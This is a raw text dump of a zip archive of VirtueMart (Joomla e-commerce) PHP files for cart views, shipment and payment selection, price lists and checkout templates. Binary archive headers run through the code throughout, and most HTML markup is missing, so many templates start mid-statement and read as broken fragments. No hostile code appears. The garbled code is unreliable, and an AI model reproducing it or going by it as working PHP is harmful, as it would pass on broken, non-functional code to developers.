              "; } if (round($product->prices['salesPriceWithDiscount'],$this->currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { echo $this->currency->createPriceDiv( 'salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $product->prices ); } echo $this->currency->createPriceDiv( 'salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $product->prices ); if ($product->prices['discountedPriceWithoutTax'] != $product->prices['priceWithoutTax']) { echo $this->currency->createPriceDiv( 'discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices ); } else { echo $this->currency->createPriceDiv( 'priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices ); } echo $this->currency->createPriceDiv( 'discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $product->prices ); echo $this->currency->createPriceDiv( 'taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $product->prices ); } ?>
              virtuemart_product_id . '&virtuemart_category_id=' . $product->virtuemart_category_id , FALSE), JText::_ ( 'COM_VIRTUEMART_PRODUCT_DETAILS' ), array ('title' => $product->product_name, 'class' => 'product-details' ) ); ?>
              \Yb{0com_virtuemart/views/virtuemart/tmpl/default.xmlnuW+A COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE PKGy>\pI;com_virtuemart/views/virtuemart/tmpl/default_categories.phpnuW+A

              categories as $category) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
              PKGy>\81com_virtuemart/views/virtuemart/tmpl/off_line.phpnuW+A\s"q=='com_virtuemart/views/cart/view.html.phpnuW+AgetPathway(); $document = JFactory::getDocument(); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); // add javascript for price and cart, need even for quantity buttons, so we need it almost anywhere //vmJsApi::jPrice(); $layoutName = $this->getLayout(); if (!$layoutName) $layoutName = JRequest::getWord('layout', 'default'); $this->assignRef('layoutName', $layoutName); $format = JRequest::getWord('format'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); //$cart->getCartPrices(); $this->assignRef('cart', $cart); //Why is this here, when we have view.raw.php if ($format == 'raw') { $cart->prepareCartViewData(); JRequest::setVar('layout', 'mini_cart'); $this->setLayout('mini_cart'); $this->prepareContinueLink(); } /* if($layoutName=='edit_coupon'){ $cart->prepareCartViewData(); $this->lSelectCoupon(); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW'),JRoute::_('index.php?option=com_virtuemart&view=cart')); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_SELECTCOUPON')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_SELECTCOUPON')); } else */ if ($layoutName == 'select_shipment') { $cart->prepareCartViewData(); if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $this->lSelectShipment(); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW'), JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_SELECTSHIPMENT')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_SELECTSHIPMENT')); } else if ($layoutName == 'select_payment') { /* Load the cart helper */ // $cartModel = VmModel::getModel('cart'); $cart->prepareCartViewData(); $this->lSelectPayment(); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW'), JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_SELECTPAYMENT')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_SELECTPAYMENT')); } else if ($layoutName == 'order_done') { VmConfig::loadJLang('com_virtuemart_shoppers', TRUE); $this->lOrderDone(); $pathway->addItem(JText::_('COM_VIRTUEMART_CART_THANKYOU')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_THANKYOU')); } else if ($layoutName == 'default') { VmConfig::loadJLang('com_virtuemart_shoppers', TRUE); $cart->prepareCartViewData(); if (VmConfig::get('enable_content_plugin', 0)) { shopFunctionsF::triggerContentPlugin($cart->vendor, 'vendor','vendor_terms_of_service'); } $cart->prepareAddressRadioSelection(); $this->prepareContinueLink(); $this->lSelectCoupon(); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currencyDisplay = CurrencyDisplay::getInstance($this->cart->pricesCurrency); $this->assignRef('currencyDisplay',$currencyDisplay); $totalInPaymentCurrency = $this->getTotalInPaymentCurrency(); $checkoutAdvertise =$this->getCheckoutAdvertise(); if (!$cart->_inCheckOut and !VmConfig::get('use_as_catalog', 0)) { $cart->checkout(false); } if ($cart->getDataValidated()) { $pathway->addItem(JText::_('COM_VIRTUEMART_ORDER_CONFIRM_MNU')); $document->setTitle(JText::_('COM_VIRTUEMART_ORDER_CONFIRM_MNU')); $text = JText::_('COM_VIRTUEMART_ORDER_CONFIRM_MNU'); $checkout_task = 'confirm'; } else { $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW')); $document->setTitle(JText::_('COM_VIRTUEMART_CART_OVERVIEW')); $text = JText::_('COM_VIRTUEMART_CHECKOUT_TITLE'); $checkout_task = 'checkout'; } $this->assignRef('checkout_task', $checkout_task); if (VmConfig::get('oncheckout_opc', 1)) { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $this->lSelectShipment(); $this->lSelectPayment(); } else { $this->checkPaymentMethodsConfigured(); $this->checkShipmentMethodsConfigured(); } if ($cart->virtuemart_shipmentmethod_id) { $shippingText = JText::_('COM_VIRTUEMART_CART_CHANGE_SHIPPING'); } else { $shippingText = JText::_('COM_VIRTUEMART_CART_EDIT_SHIPPING'); } $this->assignRef('select_shipment_text', $shippingText); if ($cart->virtuemart_paymentmethod_id) { $paymentText = JText::_('COM_VIRTUEMART_CART_CHANGE_PAYMENT'); } else { $paymentText = JText::_('COM_VIRTUEMART_CART_EDIT_PAYMENT'); } $this->assignRef('select_payment_text', $paymentText); if (!VmConfig::get('use_as_catalog')) { //$checkout_link_html = '' . $text . ''; $checkout_link_html = ''; } else { $checkout_link_html = ''; } $this->assignRef('checkout_link_html', $checkout_link_html); //set order language $lang = JFactory::getLanguage(); $order_language = $lang->getTag(); $this->assignRef('order_language',$order_language); } //dump ($cart,'cart'); $useSSL = VmConfig::get('useSSL', 0); $useXHTML = false; $this->assignRef('useSSL', $useSSL); $this->assignRef('useXHTML', $useXHTML); $this->assignRef('totalInPaymentCurrency', $totalInPaymentCurrency); $this->assignRef('checkoutAdvertise', $checkoutAdvertise); // @max: quicknirty $cart->setCartIntoSession(); shopFunctionsF::setVmTemplate($this, 0, 0, $layoutName); //We never want that the cart is indexed $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); // vmdebug('my cart ',$cart); parent::display($tpl); } private function prepareContinueLink() { // Get a continue link */ $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId(); $categoryLink = ''; if ($virtuemart_category_id) { $categoryLink = '&virtuemart_category_id=' . $virtuemart_category_id; } $continue_link = JRoute::_('index.php?option=com_virtuemart&view=category' . $categoryLink, FALSE); $continue_link_html = '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->assignRef('continue_link_html', $continue_link_html); $this->assignRef('continue_link', $continue_link); } private function lSelectCoupon() { $this->couponCode = (isset($this->cart->couponCode) ? $this->cart->couponCode : ''); $coupon_text = $this->cart->couponCode ? JText::_('COM_VIRTUEMART_COUPON_CODE_CHANGE') : JText::_('COM_VIRTUEMART_COUPON_CODE_ENTER'); $this->assignRef('coupon_text', $coupon_text); } /* * lSelectShipment * find al shipment rates available for this cart * * @author Valerie Isaksen */ private function lSelectShipment() { $found_shipment_method=false; $shipment_not_found_text = JText::_('COM_VIRTUEMART_CART_NO_SHIPPING_METHOD_PUBLIC'); $this->assignRef('shipment_not_found_text', $shipment_not_found_text); $this->assignRef('found_shipment_method', $found_shipment_method); $shipments_shipment_rates=array(); if (!$this->checkShipmentMethodsConfigured()) { $this->assignRef('shipments_shipment_rates',$shipments_shipment_rates); return; } $selectedShipment = (empty($this->cart->virtuemart_shipmentmethod_id) ? 0 : $this->cart->virtuemart_shipmentmethod_id); $shipments_shipment_rates = array(); if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDisplayListFEShipment', array( $this->cart, $selectedShipment, &$shipments_shipment_rates)); // if no shipment rate defined $found_shipment_method =count($shipments_shipment_rates); if ($found_shipment_method== 0 AND empty($this->cart->BT)) { $redirectMsg = JText::_('COM_VIRTUEMART_CART_ENTER_ADDRESS_FIRST'); $this->cart->setShipment(0); if (VmConfig::get('oncheckout_opc', 1)) { vmInfo($redirectMsg); } else { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT'), $redirectMsg); } } else { } $shipment_not_found_text = JText::_('COM_VIRTUEMART_CART_NO_SHIPPING_METHOD_PUBLIC'); $this->assignRef('shipment_not_found_text', $shipment_not_found_text); $this->assignRef('shipments_shipment_rates', $shipments_shipment_rates); $this->assignRef('found_shipment_method', $found_shipment_method); return; } /* * lSelectPayment * find al payment available for this cart * * @author Valerie Isaksen */ private function lSelectPayment() { $payment_not_found_text=''; $this->assignRef('payment_not_found_text', $payment_not_found_text); $paymentplugins_payments = array(); $this->assignRef('paymentplugins_payments', $paymentplugins_payments); if (!$found_payment_method = $this->checkPaymentMethodsConfigured()) { //return false; } else { $selectedPayment = empty($this->cart->virtuemart_paymentmethod_id) ? 0 : $this->cart->virtuemart_paymentmethod_id; if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDisplayListFEPayment', array($this->cart, $selectedPayment, &$paymentplugins_payments)); // if no payment defined $found_payment_method =count($paymentplugins_payments); } $this->assignRef('found_payment_method', $found_payment_method); if (!$found_payment_method) { $link=''; // todo $payment_not_found_text = JText::sprintf('COM_VIRTUEMART_CART_NO_PAYMENT_METHOD_PUBLIC', ''.$link.''); $this->assignRef('payment_not_found_text', $payment_not_found_text); $this->cart->setPaymentMethod(0); } else if ($found_payment_method== 0 AND empty($this->cart->BT)) { $redirectMsg = JText::_('COM_VIRTUEMART_CART_ENTER_ADDRESS_FIRST'); if (VmConfig::get('oncheckout_opc', 1)) { vmInfo($redirectMsg); } else { $mainframe = JFactory::getApplication(); $mainframe->redirect(JRoute::_('index.php?option=com_virtuemart&view=user&task=editaddresscheckout&addrtype=BT'), $redirectMsg); } } else { } } private function getTotalInPaymentCurrency() { if (empty($this->cart->virtuemart_paymentmethod_id)) { return null; } if (!$this->cart->paymentCurrency or ($this->cart->paymentCurrency==$this->cart->pricesCurrency)) { return null; } $paymentCurrency = CurrencyDisplay::getInstance($this->cart->paymentCurrency); $totalInPaymentCurrency = $paymentCurrency->priceDisplay( $this->cart->pricesUnformatted['billTotal'],$this->cart->paymentCurrency) ; $currencyDisplay = CurrencyDisplay::getInstance($this->cart->pricesCurrency); // $this->assignRef('currencyDisplay',$currencyDisplay); return $totalInPaymentCurrency; } /* * Trigger to place Coupon, payment, shipment advertisement on the cart */ private function getCheckoutAdvertise() { $checkoutAdvertise=array(); JPluginHelper::importPlugin('vmcoupon'); JPluginHelper::importPlugin('vmpayment'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnCheckoutAdvertise', array( $this->cart, &$checkoutAdvertise)); return $checkoutAdvertise; } private function lOrderDone() { $display_title = vRequest::getBool('display_title',true); $this->assignRef('display_title', $display_title); $this->html = vRequest::get('html', JText::_('COM_VIRTUEMART_ORDER_PROCESSED') ); //Show Thank you page or error due payment plugins like paypal express } private function checkPaymentMethodsConfigured() { //For the selection of the payment method we need the total amount to pay. $paymentModel = VmModel::getModel('Paymentmethod'); $this->payments = $paymentModel->getPayments(true, false); //vmdebug('checkPaymentMethodsConfigured',$this->payments); if (empty($this->payments)) { $text = ''; if (!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if (Permissions::getInstance()->check("admin,storeadmin")) { $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=paymentmethod'; $text = JText::sprintf('COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED_LINK', '' . $link . ''); } vmInfo('COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED', $text); $tmp = 0; $this->assignRef('found_payment_method', $tmp); $this->cart->virtuemart_paymentmethod_id = 0; return false; } return true; } private function checkShipmentMethodsConfigured() { //For the selection of the shipment method we need the total amount to pay. $shipmentModel = VmModel::getModel('Shipmentmethod'); $shipments = $shipmentModel->getShipments(); //vmdebug('checkShipmentMethodsConfigured',$shipments); if (empty($shipments)) { $text = ''; if (!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if (Permissions::getInstance()->check("admin,storeadmin")) { $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=shipmentmethod'; $text = JText::sprintf('COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED_LINK', '' . $link . ''); } vmInfo('COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED', $text); $tmp = 0; $this->assignRef('found_shipment_method', $tmp); $this->cart->virtuemart_shipmentmethod_id = 0; return false; } return true; } function getUserList() { $db = JFactory::getDbo(); $q = 'SELECT * FROM #__users ORDER BY name'; $db->setQuery($q); $result = $db->loadObjectList(); foreach($result as $user) { $user->displayedName = $user->name .'  ( '. $user->username .' )'; } return $result; } } //no closing tag PKGy>\#o,,$com_virtuemart/views/cart/index.htmlnuW+APKGy>\n 'com_virtuemart/views/cart/view.json.phpnuW+AgetLayout(); if (!$layoutName) $layoutName = JRequest::getWord('layout', 'default'); $this->assignRef('layoutName', $layoutName); $format = JRequest::getWord('format'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $this->assignRef('cart', $cart); $this->prepareContinueLink(); shopFunctionsF::setVmTemplate($this, 0, 0, $layoutName); parent::display($tpl); } private function prepareContinueLink() { // Get a continue link $menuid = JRequest::getInt('Itemid',''); if(!empty($menuid)){ $menuid = '&Itemid='.$menuid; } else $menuid = ''; $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId(); $categoryLink = ''; if ($virtuemart_category_id) { $categoryLink = '&virtuemart_category_id=' . $virtuemart_category_id; } $continue_link = JRoute::_('index.php?option=com_virtuemart&view=category' . $categoryLink.$menuid, FALSE); $continue_link_html = '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->assignRef('continue_link_html', $continue_link_html); $this->assignRef('continue_link', $continue_link); $cart_link = JRoute::_('index.php?option=com_virtuemart&view=cart'.$menuid, FALSE); $this->assignRef('cart_link', $cart_link); } } //no closing tag PKGy>\ ,I I 1com_virtuemart/views/cart/tmpl/select_payment.phpnuW+A' . JText::_('COM_VIRTUEMART_USER_FORM_CART_STEP3') . '
              '; } if ($this->layoutName!='default') { $headerLevel = 1; if($this->cart->getInCheckOut()){ $buttonclass = 'button vm-button-correct'; } else { $buttonclass = 'default'; } ?>
              ".JText::_('COM_VIRTUEMART_CART_SELECT_PAYMENT').""; ?>
                layoutName!='default') { ?>
              found_payment_method) { echo "
              "; foreach ($this->paymentplugins_payments as $paymentplugin_payments) { if (is_array($paymentplugin_payments)) { foreach ($paymentplugin_payments as $paymentplugin_payment) { echo $paymentplugin_payment.'
              '; } } } echo "
              "; } else { echo "

              ".$this->payment_not_found_text."

              "; } if ($this->layoutName!='default') { ?>
              PKGy>\Ұkؽ)com_virtuemart/views/cart/tmpl/perror.phpnuW+A' . $this->cart->getError() . '

              '; echo '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; echo '
              '.$this->errorMsg.'
              '; ?>
              PKGy>\n՗ 2com_virtuemart/views/cart/tmpl/select_shipment.phpnuW+A' . JText::_('COM_VIRTUEMART_USER_FORM_CART_STEP2') . '
              '; } if ($this->layoutName!='default') { $headerLevel = 1; if($this->cart->getInCheckOut()){ $buttonclass = 'button vm-button-correct'; } else { $buttonclass = 'default'; } ?>
              ".JText::_('COM_VIRTUEMART_CART_SELECT_SHIPMENT').""; ?>
                layoutName!='default') { ?>
              found_shipment_method ) { echo "
              \n"; // if only one Shipment , should be checked by default foreach ($this->shipments_shipment_rates as $shipment_shipment_rates) { if (is_array($shipment_shipment_rates)) { foreach ($shipment_shipment_rates as $shipment_shipment_rate) { echo $shipment_shipment_rate."
              \n"; } } } echo "
              \n"; } else { echo "".$this->shipment_not_found_text.""; } if ($this->layoutName!='default') { ?>
              PKGy>\)(com_virtuemart/views/cart/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\bv;I;I4com_virtuemart/views/cart/tmpl/default_pricelist.phpnuW+A
              cart->BTaddress['fields'] as $item) { if (!empty($item['value'])) { if ($item['name'] === 'agreed') { $item['value'] = ($item['value'] === 0) ? JText::_ ('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO') : JText::_ ('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES'); } ?> escape ($item['value']) ?>
              cart->STaddress['fields'])) { echo JText::sprintf ('COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_EXPLAIN', JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL')); } else { if (!class_exists ('VmHtml')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } echo JText::_ ('COM_VIRTUEMART_USER_FORM_ST_SAME_AS_BT'); echo VmHtml::checkbox ('STsameAsBTjs', $this->cart->STsameAsBT) . '
              '; ?>
              cart->STaddress['fields'] as $item) { if (!empty($item['value'])) { ?> escape ($item['value']) ?> escape ($item['value']) ?>
              cart->lists['current_id'])) { $this->cart->lists['current_id'] = 0; } ?>
              cart->products',$this->cart->products); foreach ($this->cart->products as $pkey => $prow) { ?> cart->cartData['DBTaxRulesBill'] as $rule) { ?> cart->cartData['taxRulesBill'] as $rule) { ?> cart->cartData['DATaxRulesBill'] as $rule) { ?> cart->automaticSelectedShipment) { ?> */ ?> cart->pricesUnformatted['salesPrice']>0.0 ) { ?> cart->automaticSelectedPayment) { ?> totalInPaymentCurrency) { ?>
              / " . JText::_ ('COM_VIRTUEMART_CART_SUBTOTAL_TAX_AMOUNT') . '' ?> " . JText::_ ('COM_VIRTUEMART_CART_SUBTOTAL_DISCOUNT_AMOUNT') . '' ?>
              virtuemart_media_id) { ?> image)) { echo $prow->image->displayMediaThumb ('', FALSE); } ?> url, $prow->product_name) . $prow->customfields; ?> product_sku ?> cart->pricesUnformatted[$pkey]['discountedPriceWithoutTax'] != $this->cart->pricesUnformatted[$pkey]['priceWithoutTax']) { echo '' . $this->currencyDisplay->createPriceDiv ('basePriceVariant', '', $this->cart->pricesUnformatted[$pkey], TRUE, FALSE) . '
              '; } if ($this->cart->pricesUnformatted[$pkey]['discountedPriceWithoutTax']) { echo $this->currencyDisplay->createPriceDiv ('discountedPriceWithoutTax', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE); } else { echo $this->currencyDisplay->createPriceDiv ('basePriceVariant', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE); } // echo $prow->salesPrice ; ?>
              min_order_level; if ($prow->step_order_level) $step=$prow->step_order_level; else $step=1; if($step==0) $step=1; $alert=JText::sprintf ('COM_VIRTUEMART_WRONG_AMOUNT_ADDED', $step); ?> " . $this->currencyDisplay->createPriceDiv ('taxAmount', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE, $prow->quantity) . "" ?> " . $this->currencyDisplay->createPriceDiv ('discountAmount', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE, $prow->quantity) . "" ?> cart->pricesUnformatted[$pkey]['basePriceWithTax']) && $this->cart->pricesUnformatted[$pkey]['basePriceWithTax'] != $this->cart->pricesUnformatted[$pkey]['salesPrice']) { echo '' . $this->currencyDisplay->createPriceDiv ('basePriceWithTax', '', $this->cart->pricesUnformatted[$pkey], TRUE, FALSE, $prow->quantity) . '
              '; } elseif (VmConfig::get ('checkout_show_origprice', 1) && empty($this->cart->pricesUnformatted[$pkey]['basePriceWithTax']) && $this->cart->pricesUnformatted[$pkey]['basePriceVariant'] != $this->cart->pricesUnformatted[$pkey]['salesPrice']) { echo '' . $this->currencyDisplay->createPriceDiv ('basePriceVariant', '', $this->cart->pricesUnformatted[$pkey], TRUE, FALSE, $prow->quantity) . '
              '; } echo $this->currencyDisplay->createPriceDiv ('salesPrice', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE, $prow->quantity) ?>
               
              " . $this->currencyDisplay->createPriceDiv ('taxAmount', '', $this->cart->pricesUnformatted, FALSE) . "" ?> " . $this->currencyDisplay->createPriceDiv ('discountAmount', '', $this->cart->pricesUnformatted, FALSE) . "" ?> currencyDisplay->createPriceDiv ('salesPrice', '', $this->cart->pricesUnformatted, FALSE) ?>
              layoutName) && $this->layoutName == 'default') { // echo JHTML::_('link', JRoute::_('index.php?view=cart&task=edit_coupon',$this->useXHTML,$this->useSSL), JText::_('COM_VIRTUEMART_CART_EDIT_COUPON')); echo $this->loadTemplate ('coupon'); } ?> cart->cartData['couponCode'])) { ?> cart->cartData['couponCode']; echo $this->cart->cartData['couponDescr'] ? (' (' . $this->cart->cartData['couponDescr'] . ')') : ''; ?> currencyDisplay->createPriceDiv ('couponTax', '', $this->cart->pricesUnformatted['couponTax'], FALSE); ?> currencyDisplay->createPriceDiv ('salesPriceCoupon', '', $this->cart->pricesUnformatted['salesPriceCoupon'], FALSE); ?>  
              currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?> currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?>
              currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?> currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?>
              currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?> currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?>
              cart->cartData['shipmentName']; ?>
              layoutName) && $this->layoutName == 'default' && !$this->cart->automaticSelectedShipment) { if (VmConfig::get('oncheckout_opc', 1)) { $previouslayout = $this->setLayout('select'); echo $this->loadTemplate('shipment'); $this->setLayout($previouslayout); } else { echo JHTML::_('link', JRoute::_('index.php?view=cart&task=edit_shipment', $this->useXHTML, $this->useSSL), $this->select_shipment_text, 'class=""'); } } else { echo JText::_ ('COM_VIRTUEMART_CART_SHIPPING'); }?>
              cart->cartData['shipmentName']; ?> " . $this->currencyDisplay->createPriceDiv ('shipmentTax', '', $this->cart->pricesUnformatted['shipmentTax'], FALSE) . ""; ?> cart->pricesUnformatted['salesPriceShipment'] < 0) echo $this->currencyDisplay->createPriceDiv ('salesPriceShipment', '', $this->cart->pricesUnformatted['salesPriceShipment'], FALSE); ?> currencyDisplay->createPriceDiv ('salesPriceShipment', '', $this->cart->pricesUnformatted['salesPriceShipment'], FALSE); ?>
              cart->cartData['paymentName']; ?>
              layoutName) && $this->layoutName == 'default') { if (VmConfig::get('oncheckout_opc', 1)) { $previouslayout = $this->setLayout('select'); echo $this->loadTemplate('payment'); $this->setLayout($previouslayout); } else { echo JHTML::_('link', JRoute::_('index.php?view=cart&task=editpayment', $this->useXHTML, $this->useSSL), $this->select_payment_text, 'class=""'); } } else { echo JText::_ ('COM_VIRTUEMART_CART_PAYMENT'); } ?>
              cart->cartData['paymentName']; ?> " . $this->currencyDisplay->createPriceDiv ('paymentTax', '', $this->cart->pricesUnformatted['paymentTax'], FALSE) . ""; ?> cart->pricesUnformatted['salesPricePayment'] < 0) echo $this->currencyDisplay->createPriceDiv ('salesPricePayment', '', $this->cart->pricesUnformatted['salesPricePayment'], FALSE); ?> currencyDisplay->createPriceDiv ('salesPricePayment', '', $this->cart->pricesUnformatted['salesPricePayment'], FALSE); ?>
               
              : " . $this->currencyDisplay->createPriceDiv ('billTaxAmount', '', $this->cart->pricesUnformatted['billTaxAmount'], FALSE) . "" ?> " . $this->currencyDisplay->createPriceDiv ('billDiscountAmount', '', $this->cart->pricesUnformatted['billDiscountAmount'], FALSE) . "" ?>
              currencyDisplay->createPriceDiv ('billTotal', '', $this->cart->pricesUnformatted['billTotal'], FALSE); ?>
              : totalInPaymentCurrency; ?>
              PKGy>\x-com_virtuemart/views/cart/tmpl/order_done.phpnuW+Adisplay_title) { echo "

              ".JText::_('COM_VIRTUEMART_CART_ORDERDONE_THANK_YOU')."

              "; } echo $this->html; PKGy>\#o,,)com_virtuemart/views/cart/tmpl/index.htmlnuW+APKGy>\1com_virtuemart/views/cart/tmpl/default_coupon.phpnuW+AlayoutName!='default') { ?>
              layoutName!='default') { ?>
              PKGy>\K,com_virtuemart/views/cart/tmpl/mini_cart.phpnuW+A
              PKGy>\66)com_virtuemart/views/cart/tmpl/padded.phpnuW+Acontinue_link . '" >' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; echo '' . JText::_('COM_VIRTUEMART_CART_SHOW') . ''; if($this->products){ foreach($this->products as $product){ echo '

              '.JText::sprintf('COM_VIRTUEMART_CART_PRODUCT_ADDED',$product->product_name,$product->quantity).'

              '; } } if ($this->errorMsg) echo '
              '.$this->errorMsg.'
              '; if(VmConfig::get('popup_rel',1)){ if($this->products and !empty($this->products[0]->customfieldsRelatedProducts)){ ?>
              PKGy>\&_3com_virtuemart/views/cart/tmpl/shopper_adresses.phpnuW+A
              BTaddress['fields'] as $item){ if(!empty($item['value'])){ echo $item['title'].': '.$this->escape($item['value']).'
              '; } } ?>
              STaddress['fields'])){ foreach($this->STaddress['fields'] as $item){ if(!empty($item['value'])){ echo $item['title'].': '.$this->escape($item['value']).'
              '; } } } else { foreach($this->BTaddress['fields'] as $item){ if(!empty($item['value'])){ echo $item['title'].': '.$this->escape($item['value']).'
              '; } } } ?>
              PKGy>\g/J@@*com_virtuemart/views/cart/tmpl/default.phpnuW+A "; } else { vmJsApi::js ('facebox'); vmJsApi::css ('facebox'); $box = " // "; } JHtml::_ ('behavior.formvalidation'); $document = JFactory::getDocument (); $document->addScriptDeclaration ($box); $document->addScriptDeclaration (" // "); $document->addScriptDeclaration (" // "); $document->addStyleDeclaration ('#facebox .content {display: block !important; height: 480px !important; overflow: auto; width: 560px !important; }'); ?>

              checkout_task === 'confirm') { vmdebug ('checkout_task', $this->checkout_task); echo '
              ' . JText::_ ('COM_VIRTUEMART_USER_FORM_CART_STEP4') . '
              '; } ?>
              continue_link_html)) { echo $this->continue_link_html; } ?>
              cart, FALSE); // This displays the form to change the current shopper $adminID = JFactory::getSession()->get('vmAdminID'); if ((JFactory::getUser()->authorise('core.admin', 'com_virtuemart') || JFactory::getUser($adminID)->authorise('core.admin', 'com_virtuemart')) && (VmConfig::get ('oncheckout_change_shopper', 0))) { echo $this->loadTemplate ('shopperform'); } if ($this->checkout_task) { $taskRoute = '&task=' . $this->checkout_task; } else { $taskRoute = ''; } ?>
              loadTemplate ('pricelist'); // added in 2.0.8 ?>
              checkoutAdvertise)) { foreach ($this->checkoutAdvertise as $checkoutAdvertise) { ?>

              getIfRequired ('agreed')) { if (!class_exists ('VmHtml')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } echo VmHtml::checkbox ('tosAccepted', $this->cart->tosAccepted, 1, 0, 'class="terms-of-service"'); if (VmConfig::get ('oncheckout_show_legal_info', 1)) { ?>

              cart->vendor->vendor_terms_of_service; ?>
              checkout_link_html; ?>
              PKGy>\hZ6com_virtuemart/views/cart/tmpl/default_shopperform.phpnuW+A

              getUserList(); $currentUser = $this->cart->user->_data->virtuemart_user_id; echo JHTML::_('Select.genericlist', $userList, 'userID', 'class="vm-chzn-select" style="width: 200px"', 'id', 'displayedName', $currentUser); $adminID = JFactory::getSession()->get('vmAdminID'); $instance = JFactory::getUser(); ?> id != $adminID) { ?> name; ?>

